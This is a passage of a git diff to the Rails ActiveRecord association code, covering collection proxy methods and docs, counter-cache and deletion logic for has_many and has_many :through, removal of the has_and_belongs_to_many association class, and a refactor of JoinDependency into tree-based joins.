       #   #    ]
-      def select(select = nil, &block)
-        @association.select(select, &block)
+      def select(*fields, &block)
+        @association.select(*fields, &block)
       end
 
       # Finds an object in the collection responding to the +id+. Uses the same
       # rules as <tt>ActiveRecord::Base.find</tt>. Returns <tt>ActiveRecord::RecordNotFound</tt>
-      # error if the object can not be found.
+      # error if the object cannot be found.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -170,6 +171,32 @@ module ActiveRecord
         @association.first(*args)
       end
 
+      # Same as +first+ except returns only the second record.
+      def second(*args)
+        @association.second(*args)
+      end
+
+      # Same as +first+ except returns only the third record.
+      def third(*args)
+        @association.third(*args)
+      end
+
+      # Same as +first+ except returns only the fourth record.
+      def fourth(*args)
+        @association.fourth(*args)
+      end
+
+      # Same as +first+ except returns only the fifth record.
+      def fifth(*args)
+        @association.fifth(*args)
+      end
+
+      # Same as +first+ except returns only the forty second record.
+      # Also known as accessing "the reddit".
+      def forty_two(*args)
+        @association.forty_two(*args)
+      end
+
       # Returns the last record, or the last +n+ records, from the collection.
       # If the collection is empty, the first form returns +nil+, and the second
       # form returns an empty array.
@@ -281,7 +308,7 @@ module ActiveRecord
       # so method calls may be chained.
       #
       #   class Person < ActiveRecord::Base
-      #     pets :has_many
+      #     has_many :pets
       #   end
       #
       #   person.pets.size # => 0
@@ -329,14 +356,15 @@ module ActiveRecord
         @association.replace(other_array)
       end
 
-      # Deletes all the records from the collection. For +has_many+ associations,
-      # the deletion is done according to the strategy specified by the <tt>:dependent</tt>
-      # option. Returns an array with the deleted records.
+      # Deletes all the records from the collection according to the strategy
+      # specified by the +:dependent+ option. If no +:dependent+ option is given,
+      # then it will follow the default strategy.
+      #
+      # For +has_many :through+ associations, the default deletion strategy is
+      # +:delete_all+.
       #
-      # If no <tt>:dependent</tt> option is given, then it will follow the
-      # default strategy. The default strategy is <tt>:nullify</tt>. This
-      # sets the foreign keys to <tt>NULL</tt>. For, +has_many+ <tt>:through</tt>,
-      # the default strategy is +delete_all+.
+      # For +has_many+ associations, the default deletion strategy is +:nullify+.
+      # This sets the foreign keys to +NULL+.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets # dependent: :nullify option by default
@@ -367,9 +395,9 @@ module ActiveRecord
       #   #       #<Pet id: 3, name: "Choo-Choo", person_id: nil>
       #   #    ]
       #
-      # If it is set to <tt>:destroy</tt> all the objects from the collection
-      # are removed by calling their +destroy+ method. See +destroy+ for more
-      # information.
+      # Both +has_many+ and +has_many :through+ dependencies default to the
+      # +:delete_all+ strategy if the +:dependent+ option is set to +:destroy+.
+      # Records are not instantiated and callbacks will not be fired.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets, dependent: :destroy
@@ -384,11 +412,6 @@ module ActiveRecord
       #   #    ]
       #
       #   person.pets.delete_all
-      #   # => [
-      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
-      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
-      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
-      #   #    ]
       #
       #   Pet.find(1, 2, 3)
       #   # => ActiveRecord::RecordNotFound
@@ -409,11 +432,6 @@ module ActiveRecord
       #   #    ]
       #
       #   person.pets.delete_all
-      #   # => [
-      #   #       #<Pet id: 1, name: "Fancy-Fancy", person_id: 1>,
-      #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
-      #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
-      #   #    ]
       #
       #   Pet.find(1, 2, 3)
       #   # => ActiveRecord::RecordNotFound
@@ -422,8 +440,9 @@ module ActiveRecord
       end
 
       # Deletes the records of the collection directly from the database
-      # ignoring the +:dependent+ option. It invokes +before_remove+,
-      # +after_remove+ , +before_destroy+ and +after_destroy+ callbacks.
+      # ignoring the +:dependent+ option. Records are instantiated and it
+      # invokes +before_remove+, +after_remove+ , +before_destroy+ and
+      # +after_destroy+ callbacks.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -669,8 +688,8 @@ module ActiveRecord
       #   #       #<Pet id: 2, name: "Spook", person_id: 1>,
       #   #       #<Pet id: 3, name: "Choo-Choo", person_id: 1>
       #   #    ]
-      def count(column_name = nil, options = {})
-        @association.count(column_name, options)
+      def count(column_name = nil)
+        @association.count(column_name)
       end
 
       # Returns the size of the collection. If the collection hasn't been loaded,
@@ -760,7 +779,7 @@ module ActiveRecord
       #   person.pets.count # => 0
       #   person.pets.any?  # => true
       #
-      # You can also pass a block to define criteria. The behavior
+      # You can also pass a +block+ to define criteria. The behavior
       # is the same, it returns true if the collection based on the
       # criteria is not empty.
       #
@@ -787,14 +806,14 @@ module ActiveRecord
       #     has_many :pets
       #   end
       #
-      #   person.pets.count #=> 1
-      #   person.pets.many? #=> false
+      #   person.pets.count # => 1
+      #   person.pets.many? # => false
       #
       #   person.pets << Pet.new(name: 'Snoopy')
-      #   person.pets.count #=> 2
-      #   person.pets.many? #=> true
+      #   person.pets.count # => 2
+      #   person.pets.many? # => true
       #
-      # You can also pass a block to define criteria. The
+      # You can also pass a +block+ to define criteria. The
       # behavior is the same, it returns true if the collection
       # based on the criteria has more than one record.
       #
@@ -818,7 +837,7 @@ module ActiveRecord
         @association.many?(&block)
       end
 
-      # Returns +true+ if the given object is present in the collection.
+      # Returns +true+ if the given +record+ is present in the collection.
       #
       #   class Person < ActiveRecord::Base
       #     has_many :pets
@@ -832,6 +851,10 @@ module ActiveRecord
         !!@association.include?(record)
       end
 
+      def arel
+        scope.arel
+      end
+
       def proxy_association
         @association
       end
@@ -852,7 +875,7 @@ module ActiveRecord
 
       # Equivalent to <tt>Array#==</tt>. Returns +true+ if the two arrays
       # contain the same number of elements and if each element is equal
-      # to the corresponding element in the other array, otherwise returns
+      # to the corresponding element in the +other+ array, otherwise returns
       # +false+.
       #
       #   class Person < ActiveRecord::Base
@@ -976,6 +999,28 @@ module ActiveRecord
         proxy_association.reload
         self
       end
+
+      # Unloads the association. Returns +self+.
+      #
+      #   class Person < ActiveRecord::Base
+      #     has_many :pets
+      #   end
+      #
+      #   person.pets # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets # uses the pets cache
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      #
+      #   person.pets.reset # clears the pets cache
+      #
+      #   person.pets  # fetches pets from the database
+      #   # => [#<Pet id: 1, name: "Snoop", group: "dogs", person_id: 1>]
+      def reset
+        proxy_association.reset
+        proxy_association.reset_scope
+        self
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/foreign_association.rb b/activerecord/lib/active_record/associations/foreign_association.rb
new file mode 100644
index 0000000000..fe48ecec29
--- /dev/null
+++ b/activerecord/lib/active_record/associations/foreign_association.rb
@@ -0,0 +1,11 @@
+module ActiveRecord::Associations
+  module ForeignAssociation
+    def foreign_key_present?
+      if reflection.klass.primary_key
+        owner.attribute_present?(reflection.active_record_primary_key)
+      else
+        false
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb b/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
deleted file mode 100644
index b2e6c708bf..0000000000
--- a/activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-module ActiveRecord
-  # = Active Record Has And Belongs To Many Association
-  module Associations
-    class HasAndBelongsToManyAssociation < CollectionAssociation #:nodoc:
-      attr_reader :join_table
-
-      def initialize(owner, reflection)
-        @join_table = Arel::Table.new(reflection.join_table)
-        super
-      end
-
-      def insert_record(record, validate = true, raise = false)
-        if record.new_record?
-          if raise
-            record.save!(:validate => validate)
-          else
-            return unless record.save(:validate => validate)
-          end
-        end
-
-        stmt = join_table.compile_insert(
-          join_table[reflection.foreign_key]             => owner.id,
-          join_table[reflection.association_foreign_key] => record.id
-        )
-
-        owner.class.connection.insert stmt
-
-        record
-      end
-
-      private
-
-        def count_records
-          load_target.size
-        end
-
-        def delete_records(records, method)
-          relation  = join_table
-          condition = relation[reflection.foreign_key].eq(owner.id)
-
-          unless records == :all
-            condition = condition.and(
-              relation[reflection.association_foreign_key]
-                .in(records.map { |x| x.id }.compact)
-            )
-          end
-
-          owner.class.connection.delete(relation.where(condition).compile_delete)
-        end
-
-        def invertible_for?(record)
-          false
-        end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/has_many_association.rb b/activerecord/lib/active_record/associations/has_many_association.rb
index 607ed0da46..ca27c9fdde 100644
--- a/activerecord/lib/active_record/associations/has_many_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_association.rb
@@ -6,6 +6,7 @@ module ActiveRecord
     # If the association has a <tt>:through</tt> option further specialization
     # is provided by its child HasManyThroughAssociation.
     class HasManyAssociation < CollectionAssociation #:nodoc:
+      include ForeignAssociation
 
       def handle_dependency
         case options[:dependent]
@@ -16,7 +17,7 @@ module ActiveRecord
           unless empty?
             record = klass.human_attribute_name(reflection.name).downcase
             owner.errors.add(:base, :"restrict_dependent_destroy.many", record: record)
-            false
+            throw(:abort)
           end
 
         else
@@ -32,6 +33,7 @@ module ActiveRecord
 
       def insert_record(record, validate = true, raise = false)
         set_owner_attributes(record)
+        set_inverse_instance(record)
 
         if raise
           record.save!(:validate => validate)
@@ -40,6 +42,14 @@ module ActiveRecord
         end
       end
 
+      def empty?
+        if has_cached_counter?
+          size.zero?
+        else
+          super
+        end
+      end
+
       private
 
         # Returns the number of records in this collection.
@@ -57,7 +67,7 @@ module ActiveRecord
         # the loaded flag is set to true as well.
         def count_records
           count = if has_cached_counter?
-            owner.send(:read_attribute, cached_counter_attribute_name)
+            owner._read_attribute cached_counter_attribute_name
           else
             scope.count
           end
@@ -70,20 +80,35 @@ module ActiveRecord
           [association_scope.limit_value, count].compact.min
         end
 
-        def has_cached_counter?(reflection = reflection)
+        def has_cached_counter?(reflection = reflection())
           owner.attribute_present?(cached_counter_attribute_name(reflection))
         end
 
-        def cached_counter_attribute_name(reflection = reflection)
-          options[:counter_cache] || "#{reflection.name}_count"
+        def cached_counter_attribute_name(reflection = reflection())
+          if reflection.options[:counter_cache]
+            reflection.options[:counter_cache].to_s
+          else
+            "#{reflection.name}_count"
+          end
+        end
+
+        def update_counter(difference, reflection = reflection())
+          update_counter_in_database(difference, reflection)
+          update_counter_in_memory(difference, reflection)
         end
 
-        def update_counter(difference, reflection = reflection)
+        def update_counter_in_database(difference, reflection = reflection())
           if has_cached_counter?(reflection)
             counter = cached_counter_attribute_name(reflection)
             owner.class.update_counters(owner.id, counter => difference)
+          end
+        end
+
+        def update_counter_in_memory(difference, reflection = reflection())
+          if counter_must_be_updated_by_has_many?(reflection)
+            counter = cached_counter_attribute_name(reflection)
             owner[counter] += difference
-            owner.changed_attributes.delete(counter) # eww
+            owner.send(:clear_attribute_changes, counter) # eww
           end
         end
 
@@ -97,35 +122,69 @@ module ActiveRecord
         #     it will be decremented twice.
         #
         # Hence this method.
-        def inverse_updates_counter_cache?(reflection = reflection)
+        def inverse_which_updates_counter_cache(reflection = reflection())
           counter_name = cached_counter_attribute_name(reflection)
-          reflection.klass.reflect_on_all_associations(:belongs_to).any? { |inverse_reflection|
+          inverse_which_updates_counter_named(counter_name, reflection)
+        end
+        alias inverse_updates_counter_cache? inverse_which_updates_counter_cache
+
+        def inverse_which_updates_counter_named(counter_name, reflection)
+          reflection.klass._reflections.values.find { |inverse_reflection|
+            inverse_reflection.belongs_to? &&
             inverse_reflection.counter_cache_column == counter_name
           }
         end
 
+        def inverse_updates_counter_in_memory?(reflection)
+          inverse = inverse_which_updates_counter_cache(reflection)
+          inverse && inverse == reflection.inverse_of
+        end
+
+        def counter_must_be_updated_by_has_many?(reflection)
+          !inverse_updates_counter_in_memory?(reflection) && has_cached_counter?(reflection)
+        end
+
+        def delete_count(method, scope)
+          if method == :delete_all
+            scope.delete_all
+          else
+            scope.update_all(reflection.foreign_key => nil)
+          end
+        end
+
+        def delete_or_nullify_all_records(method)
+          count = delete_count(method, self.scope)
+          update_counter(-count)
+        end
+
         # Deletes the records according to the <tt>:dependent</tt> option.
         def delete_records(records, method)
           if method == :destroy
-            records.each { |r| r.destroy }
+            records.each(&:destroy!)
             update_counter(-records.length) unless inverse_updates_counter_cache?
           else
-            if records == :all
-              scope = self.scope
-            else
-              scope = self.scope.where(reflection.klass.primary_key => records)
-            end
-
-            if method == :delete_all
-              update_counter(-scope.delete_all)
-            else
-              update_counter(-scope.update_all(reflection.foreign_key => nil))
-            end
+            scope = self.scope.where(reflection.klass.primary_key => records)
+            update_counter(-delete_count(method, scope))
           end
         end
 
-        def foreign_key_present?
-          owner.attribute_present?(reflection.association_primary_key)
+        def concat_records(records, *)
+          update_counter_if_success(super, records.length)
+        end
+
+        def _create_record(attributes, *)
+          if attributes.is_a?(Array)
+            super
+          else
+            update_counter_if_success(super, 1)
+          end
+        end
+
+        def update_counter_if_success(saved_successfully, difference)
+          if saved_successfully
+            update_counter_in_memory(difference)
+          end
+          saved_successfully
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/has_many_through_association.rb b/activerecord/lib/active_record/associations/has_many_through_association.rb
index a74dd1cdab..4897ec44e9 100644
--- a/activerecord/lib/active_record/associations/has_many_through_association.rb
+++ b/activerecord/lib/active_record/associations/has_many_through_association.rb
@@ -1,4 +1,3 @@
-
 module ActiveRecord
   # = Active Record Has Many Through Association
   module Associations
@@ -12,25 +11,10 @@ module ActiveRecord
         @through_association = nil
       end
 
-      # Returns the size of the collection by executing a SELECT COUNT(*) query if the collection hasn't been
-      # loaded and calling collection.size if it has. If it's more likely than not that the collection does
-      # have a size larger than zero, and you need to fetch that collection afterwards, it'll take one fewer
-      # SELECT query if you use #length.
-      def size
-        if has_cached_counter?
-          owner.send(:read_attribute, cached_counter_attribute_name)
-        elsif loaded?
-          target.size
-        else
-          count
-        end
-      end
-
       def concat(*records)
         unless owner.new_record?
           records.flatten.each do |record|
             raise_on_type_mismatch!(record)
-            record.save! if record.new_record?
           end
         end
 
@@ -40,7 +24,7 @@ module ActiveRecord
       def concat_records(records)
         ensure_not_nested
 
-        records = super
+        records = super(records, true)
 
         if owner.new_record? && records
           records.flatten.each do |record|
@@ -63,7 +47,7 @@ module ActiveRecord
         end
 
         save_through_record(record)
-        update_counter(1)
+
         record
       end
 
@@ -73,23 +57,31 @@ module ActiveRecord
           @through_association ||= owner.association(through_reflection.name)
         end
 
-        # We temporarily cache through record that has been build, because if we build a
-        # through record in build_record and then subsequently call insert_record, then we
-        # want to use the exact same object.
+        # The through record (built with build_record) is temporarily cached
+        # so that it may be reused if insert_record is subsequently called.
         #
-        # However, after insert_record has been called, we clear the cache entry because
-        # we want it to be possible to have multiple instances of the same record in an
-        # association
+        # However, after insert_record has been called, the cache is cleared in
+        # order to allow multiple instances of the same record in an association.
         def build_through_record(record)
           @through_records[record.object_id] ||= begin
             ensure_mutable
 
-            through_record = through_association.build
+            through_record = through_association.build(*options_for_through_record)
             through_record.send("#{source_reflection.name}=", record)
             through_record
           end
         end
 
+        def options_for_through_record
+          [through_scope_attributes]
+        end
+
+        def through_scope_attributes
+          scope.where_values_hash(through_association.reflection.name.to_s).
+            except!(through_association.reflection.foreign_key,
+                    through_association.reflection.klass.inheritance_column)
+        end
+
         def save_through_record(record)
           build_through_record(record).save!
         ensure
@@ -103,9 +95,9 @@ module ActiveRecord
 
           inverse = source_reflection.inverse_of
           if inverse
-            if inverse.macro == :has_many
+            if inverse.collection?
               record.send(inverse.name) << build_through_record(record)
-            elsif inverse.macro == :has_one
+            elsif inverse.has_one?
               record.send("#{inverse.name}=", build_through_record(record))
             end
           end
@@ -114,7 +106,7 @@ module ActiveRecord
         end
 
         def target_reflection_has_associated_record?
-          !(through_reflection.macro == :belongs_to && owner[through_reflection.foreign_key].blank?)
+          !(through_reflection.belongs_to? && owner[through_reflection.foreign_key].blank?)
         end
 
         def update_through_counter?(method)
@@ -128,19 +120,31 @@ module ActiveRecord
           end
         end
 
+        def delete_or_nullify_all_records(method)
+          delete_records(load_target, method)
+        end
+
         def delete_records(records, method)
           ensure_not_nested
 
-          # This is unoptimised; it will load all the target records
-          # even when we just want to delete everything.
-          records = load_target if records == :all
-
           scope = through_association.scope
           scope.where! construct_join_attributes(*records)
 
           case method
           when :destroy
-            count = scope.destroy_all.length
+            if scope.klass.primary_key
+              count = scope.destroy_all.length
+            else
+              scope.each(&:_run_destroy_callbacks)
+
+              arel = scope.arel
+
+              stmt = Arel::DeleteManager.new
+              stmt.from scope.klass.arel_table
+              stmt.wheres = arel.constraints
+
+              count = scope.klass.connection.delete(stmt, 'SQL', scope.bound_attributes)
+            end
           when :nullify
             count = scope.update_all(source_reflection.foreign_key => nil)
           else
@@ -149,29 +153,33 @@ module ActiveRecord
 
           delete_through_records(records)
 
-          if source_reflection.options[:counter_cache]
+          if source_reflection.options[:counter_cache] && method != :destroy
             counter = source_reflection.counter_cache_column
             klass.decrement_counter counter, records.map(&:id)
           end
 
-          if through_reflection.macro == :has_many && update_through_counter?(method)
+          if through_reflection.collection? && update_through_counter?(method)
             update_counter(-count, through_reflection)
+          else
+            update_counter(-count)
           end
-
-          update_counter(-count)
         end
 
         def through_records_for(record)
           attributes = construct_join_attributes(record)
           candidates = Array.wrap(through_association.target)
-          candidates.find_all { |c| c.attributes.slice(*attributes.keys) == attributes }
+          candidates.find_all do |c|
+            attributes.all? do |key, value|
+              c.public_send(key) == value
+            end
+          end
         end
 
         def delete_through_records(records)
           records.each do |record|
             through_records = through_records_for(record)
 
-            if through_reflection.macro == :has_many
+            if through_reflection.collection?
               through_records.each { |r| through_association.target.delete(r) }
             else
               if through_records.include?(through_association.target)
@@ -185,7 +193,7 @@ module ActiveRecord
 
         def find_target
           return [] unless target_reflection_has_associated_record?
-          scope.to_a
+          get_records
         end
 
         # NOTE - not sure that we can actually cope with inverses here
diff --git a/activerecord/lib/active_record/associations/has_one_association.rb b/activerecord/lib/active_record/associations/has_one_association.rb
index 3ab1ea1ff4..41a75b820e 100644
--- a/activerecord/lib/active_record/associations/has_one_association.rb
+++ b/activerecord/lib/active_record/associations/has_one_association.rb
@@ -1,8 +1,8 @@
-
 module ActiveRecord
   # = Active Record Belongs To Has One Association
   module Associations
     class HasOneAssociation < SingularAssociation #:nodoc:
+      include ForeignAssociation
 
       def handle_dependency
         case options[:dependent]
@@ -13,7 +13,7 @@ module ActiveRecord
           if load_target
             record = klass.human_attribute_name(reflection.name).downcase
             owner.errors.add(:base, :"restrict_dependent_destroy.one", record: record)
-            false
+            throw(:abort)
           end
 
         else
@@ -26,15 +26,19 @@ module ActiveRecord
         load_target
 
         return self.target if !(target || record)
-        if (target != record) || record.changed?
+
+        assigning_another_record = target != record
+        if assigning_another_record || record.changed?
+          save &&= owner.persisted?
+
           transaction_if(save) do
-            remove_target!(options[:dependent]) if target && !target.destroyed?
+            remove_target!(options[:dependent]) if target && !target.destroyed? && assigning_another_record
 
             if record
               set_owner_attributes(record)
               set_inverse_instance(record)
 
-              if owner.persisted? && save && !record.save
+              if save && !record.save
                 nullify_owner_attributes(record)
                 set_owner_attributes(target) if target
                 raise RecordNotSaved, "Failed to save the new associated #{reflection.name}."
diff --git a/activerecord/lib/active_record/associations/join_dependency.rb b/activerecord/lib/active_record/associations/join_dependency.rb
index 5aa17e5fbb..fcf06323e6 100644
--- a/activerecord/lib/active_record/associations/join_dependency.rb
+++ b/activerecord/lib/active_record/associations/join_dependency.rb
@@ -1,15 +1,79 @@
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
-      autoload :JoinPart,        'active_record/associations/join_dependency/join_part'
       autoload :JoinBase,        'active_record/associations/join_dependency/join_base'
       autoload :JoinAssociation, 'active_record/associations/join_dependency/join_association'
 
-      attr_reader :join_parts, :reflections, :alias_tracker, :base_klass
+      class Aliases # :nodoc:
+        def initialize(tables)
+          @tables = tables
+          @alias_cache = tables.each_with_object({}) { |table,h|
+            h[table.node] = table.columns.each_with_object({}) { |column,i|
+              i[column.name] = column.alias
+            }
+          }
+          @name_and_alias_cache = tables.each_with_object({}) { |table,h|
+            h[table.node] = table.columns.map { |column|
+              [column.name, column.alias]
+            }
+          }
+        end
+
+        def columns
+          @tables.flat_map(&:column_aliases)
+        end
+
+        # An array of [column_name, alias] pairs for the table
+        def column_aliases(node)
+          @name_and_alias_cache[node]
+        end
+
+        def column_alias(node, column)
+          @alias_cache[node][column]
+        end
+
+        class Table < Struct.new(:node, :columns)
+          def table
+            Arel::Nodes::TableAlias.new node.table, node.aliased_table_name
+          end
+
+          def column_aliases
+            t = table
+            columns.map { |column| t[column.name].as Arel.sql column.alias }
+          end
+        end
+        Column = Struct.new(:name, :alias)
+      end
+
+      attr_reader :alias_tracker, :base_klass, :join_root
+
+      def self.make_tree(associations)
+        hash = {}
+        walk_tree associations, hash
+        hash
+      end
+
+      def self.walk_tree(associations, hash)
+        case associations
+        when Symbol, String
+          hash[associations.to_sym] ||= {}
+        when Array
+          associations.each do |assoc|
+            walk_tree assoc, hash
+          end
+        when Hash
+          associations.each do |k,v|
+            cache = hash[k] ||= {}
+            walk_tree v, cache
+          end
+        else
+          raise ConfigurationError, associations.inspect
+        end
+      end
 
       # base is the base class on which operation is taking place.
       # associations is the list of associations which are joined using hash, symbol or array.
-      # joins is the list of all string join commnads and arel nodes.
+      # joins is the list of all string join commands and arel nodes.
       #
       #  Example :
       #
@@ -19,221 +83,204 @@ module ActiveRecord
       #  end
       #
       #  If I execute `@physician.patients.to_a` then
-      #    base #=> Physician
-      #    associations #=> []
-      #    joins #=>  [#<Arel::Nodes::InnerJoin: ...]
+      #    base # => Physician
+      #    associations # => []
+      #    joins # =>  [#<Arel::Nodes::InnerJoin: ...]
       #
       #  However if I execute `Physician.joins(:appointments).to_a` then
-      #    base #=> Physician
-      #    associations #=> [:appointments]
-      #    joins #=>  []
+      #    base # => Physician
+      #    associations # => [:appointments]
+      #    joins # =>  []
       #
       def initialize(base, associations, joins)
-        @base_klass    = base
-        @table_joins   = joins
-        @join_parts    = [JoinBase.new(base)]
-        @associations  = {}
-        @reflections   = []
-        @alias_tracker = AliasTracker.new(base.connection, joins)
-        @alias_tracker.aliased_name_for(base.table_name) # Updates the count for base.table_name to 1
-        build(associations)
-      end
-
-      def graft(*associations)
-        associations.each do |association|
-          join_associations.detect {|a| association == a} ||
-            build(association.reflection.name, association.find_parent_in(self) || join_base, association.join_type)
-        end
-        self
+        @alias_tracker = AliasTracker.create_with_joins(base.connection, base.table_name, joins, base.type_caster)
+        tree = self.class.make_tree associations
+        @join_root = JoinBase.new base, build(tree, base)
+        @join_root.children.each { |child| construct_tables! @join_root, child }
       end
 
-      def join_associations
-        join_parts.drop 1
+      def reflections
+        join_root.drop(1).map!(&:reflection)
       end
 
-      def join_base
-        join_parts.first
-      end
+      def join_constraints(outer_joins)
+        joins = join_root.children.flat_map { |child|
+          make_inner_joins join_root, child
+        }
 
-      def join_relation(relation)
-        join_associations.inject(relation) do |rel,association|
-          association.join_relation(rel)
-        end
+        joins.concat outer_joins.flat_map { |oj|
+          if join_root.match? oj.join_root
+            walk join_root, oj.join_root
+          else
+            oj.join_root.children.flat_map { |child|
+              make_outer_joins oj.join_root, child
+            }
+          end
+        }
       end
 
-      def columns
-        join_parts.collect { |join_part|
-          table = join_part.aliased_table
-          join_part.column_names_with_alias.collect{ |column_name, aliased_name|
-            table[column_name].as Arel.sql(aliased_name)
+      def aliases
+        Aliases.new join_root.each_with_index.map { |join_part,i|
+          columns = join_part.column_names.each_with_index.map { |column_name,j|
+            Aliases::Column.new column_name, "t#{i}_r#{j}"
           }
-        }.flatten
+          Aliases::Table.new(join_part, columns)
+        }
       end
 
-      def instantiate(rows)
-        primary_key = join_base.aliased_primary_key
-        parents = {}
+      def instantiate(result_set, aliases)
+        primary_key = aliases.column_alias(join_root, join_root.primary_key)
 
-        records = rows.map { |model|
-          primary_id = model[primary_key]
-          parent = parents[primary_id] ||= join_base.instantiate(model)
-          construct(parent, @associations, join_associations, model)
-          parent
-        }.uniq
+        seen = Hash.new { |h,parent_klass|
+          h[parent_klass] = Hash.new { |i,parent_id|
+            i[parent_id] = Hash.new { |j,child_klass| j[child_klass] = {} }
+          }
+        }
 
-        remove_duplicate_results!(base_klass, records, @associations)
-        records
-      end
+        model_cache = Hash.new { |h,klass| h[klass] = {} }
+        parents = model_cache[join_root]
+        column_aliases = aliases.column_aliases join_root
 
-      protected
+        message_bus = ActiveSupport::Notifications.instrumenter
 
-      def remove_duplicate_results!(base, records, associations)
-        case associations
-        when Symbol, String
-          reflection = base.reflections[associations]
-          remove_uniq_by_reflection(reflection, records)
-        when Array
-          associations.each do |association|
-            remove_duplicate_results!(base, records, association)
-          end
-        when Hash
-          associations.each_key do |name|
-            reflection = base.reflections[name]
-            remove_uniq_by_reflection(reflection, records)
-
-            parent_records = []
-            records.each do |record|
-              if descendant = record.send(reflection.name)
-                if reflection.collection?
-                  parent_records.concat descendant.target.uniq
-                else
-                  parent_records << descendant
-                end
-              end
-            end
+        payload = {
+          record_count: result_set.length,
+          class_name: join_root.base_klass.name
+        }
 
-            remove_duplicate_results!(reflection.klass, parent_records, associations[name]) unless parent_records.empty?
-          end
+        message_bus.instrument('instantiation.active_record', payload) do
+          result_set.each { |row_hash|
+            parent = parents[row_hash[primary_key]] ||= join_root.instantiate(row_hash, column_aliases)
+            construct(parent, join_root, row_hash, result_set, seen, model_cache, aliases)
+          }
         end
+
+        parents.values
       end
 
-      def cache_joined_association(association)
-        associations = []
-        parent = association.parent
-        while parent != join_base
-          associations.unshift(parent.reflection.name)
-          parent = parent.parent
-        end
-        ref = @associations
-        associations.each do |key|
-          ref = ref[key]
-        end
-        ref[association.reflection.name] ||= {}
+      private
+
+      def make_constraints(parent, child, tables, join_type)
+        chain         = child.reflection.chain
+        foreign_table = parent.table
+        foreign_klass = parent.base_klass
+        child.join_constraints(foreign_table, foreign_klass, child, join_type, tables, child.reflection.scope_chain, chain)
       end
 
-      def build(associations, parent = join_parts.last, join_type = Arel::InnerJoin)
-        case associations
-        when Symbol, String
-          reflection = parent.reflections[associations.intern] or
-          raise ConfigurationError, "Association named '#{ associations }' was not found on #{ parent.base_klass.name }; perhaps you misspelled it?"
-          unless join_association = find_join_association(reflection, parent)
-            @reflections << reflection
-            join_association = build_join_association(reflection, parent)
-            join_association.join_type = join_type
-            @join_parts << join_association
-            cache_joined_association(join_association)
-          end
-          join_association
-        when Array
-          associations.each do |association|
-            build(association, parent, join_type)
-          end
-        when Hash
-          associations.keys.sort_by { |a| a.to_s }.each do |name|
-            join_association = build(name, parent, join_type)
-            build(associations[name], join_association, join_type)
-          end
-        else
-          raise ConfigurationError, associations.inspect
-        end
+      def make_outer_joins(parent, child)
+        tables    = table_aliases_for(parent, child)
+        join_type = Arel::Nodes::OuterJoin
+        info      = make_constraints parent, child, tables, join_type
+
+        [info] + child.children.flat_map { |c| make_outer_joins(child, c) }
       end
 
-      def find_join_association(name_or_reflection, parent)
-        if String === name_or_reflection
-          name_or_reflection = name_or_reflection.to_sym
-        end
+      def make_inner_joins(parent, child)
+        tables    = child.tables
+        join_type = Arel::Nodes::InnerJoin
+        info      = make_constraints parent, child, tables, join_type
+
+        [info] + child.children.flat_map { |c| make_inner_joins(child, c) }
+      end
 
-        join_associations.detect { |j|
-          j.reflection == name_or_reflection && j.parent == parent
+      def table_aliases_for(parent, node)
+        node.reflection.chain.map { |reflection|
+          alias_tracker.aliased_table_for(
+            reflection.table_name,
+            table_alias_for(reflection, parent, reflection != node.reflection)
+          )
         }
       end
 
-      def remove_uniq_by_reflection(reflection, records)
-        if reflection && reflection.collection?
-          records.each { |record| record.send(reflection.name).target.uniq! }
-        end
+      def construct_tables!(parent, node)
+        node.tables = table_aliases_for(parent, node)
+        node.children.each { |child| construct_tables! node, child }
       end
 
-      def build_join_association(reflection, parent)
-        JoinAssociation.new(reflection, self, parent)
+      def table_alias_for(reflection, parent, join)
+        name = "#{reflection.plural_name}_#{parent.table_name}"
+        name << "_join" if join
+        name
       end
 
-      def construct(parent, associations, join_parts, row)
-        case associations
-        when Symbol, String
-          name = associations.to_s
+      def walk(left, right)
+        intersection, missing = right.children.map { |node1|
+          [left.children.find { |node2| node1.match? node2 }, node1]
+        }.partition(&:first)
 
-          join_part = join_parts.detect { |j|
-            j.reflection.name.to_s == name &&
-              j.parent_table_name == parent.class.table_name }
+        ojs = missing.flat_map { |_,n| make_outer_joins left, n }
+        intersection.flat_map { |l,r| walk l, r }.concat ojs
+      end
 
-            raise(ConfigurationError, "No such association") unless join_part
+      def find_reflection(klass, name)
+        klass._reflect_on_association(name) or
+          raise ConfigurationError, "Association named '#{ name }' was not found on #{ klass.name }; perhaps you misspelled it?"
+      end
 
-            join_parts.delete(join_part)
-            construct_association(parent, join_part, row)
-        when Array
-          associations.each do |association|
-            construct(parent, association, join_parts, row)
-          end
-        when Hash
-          associations.sort_by { |k,_| k.to_s }.each do |association_name, assoc|
-            association = construct(parent, association_name, join_parts, row)
-            construct(association, assoc, join_parts, row) if association
+      def build(associations, base_klass)
+        associations.map do |name, right|
+          reflection = find_reflection base_klass, name
+          reflection.check_validity!
+          reflection.check_eager_loadable!
+
+          if reflection.polymorphic?
+            raise EagerLoadPolymorphicError.new(reflection)
           end
-        else
-          raise ConfigurationError, associations.inspect
+
+          JoinAssociation.new reflection, build(right, reflection.klass)
         end
       end
 
-      def construct_association(record, join_part, row)
-        return if record.id.to_s != join_part.parent.record_id(row).to_s
+      def construct(ar_parent, parent, row, rs, seen, model_cache, aliases)
+        return if ar_parent.nil?
+        primary_id  = ar_parent.id
 
-        macro = join_part.reflection.macro
-        if macro == :has_one
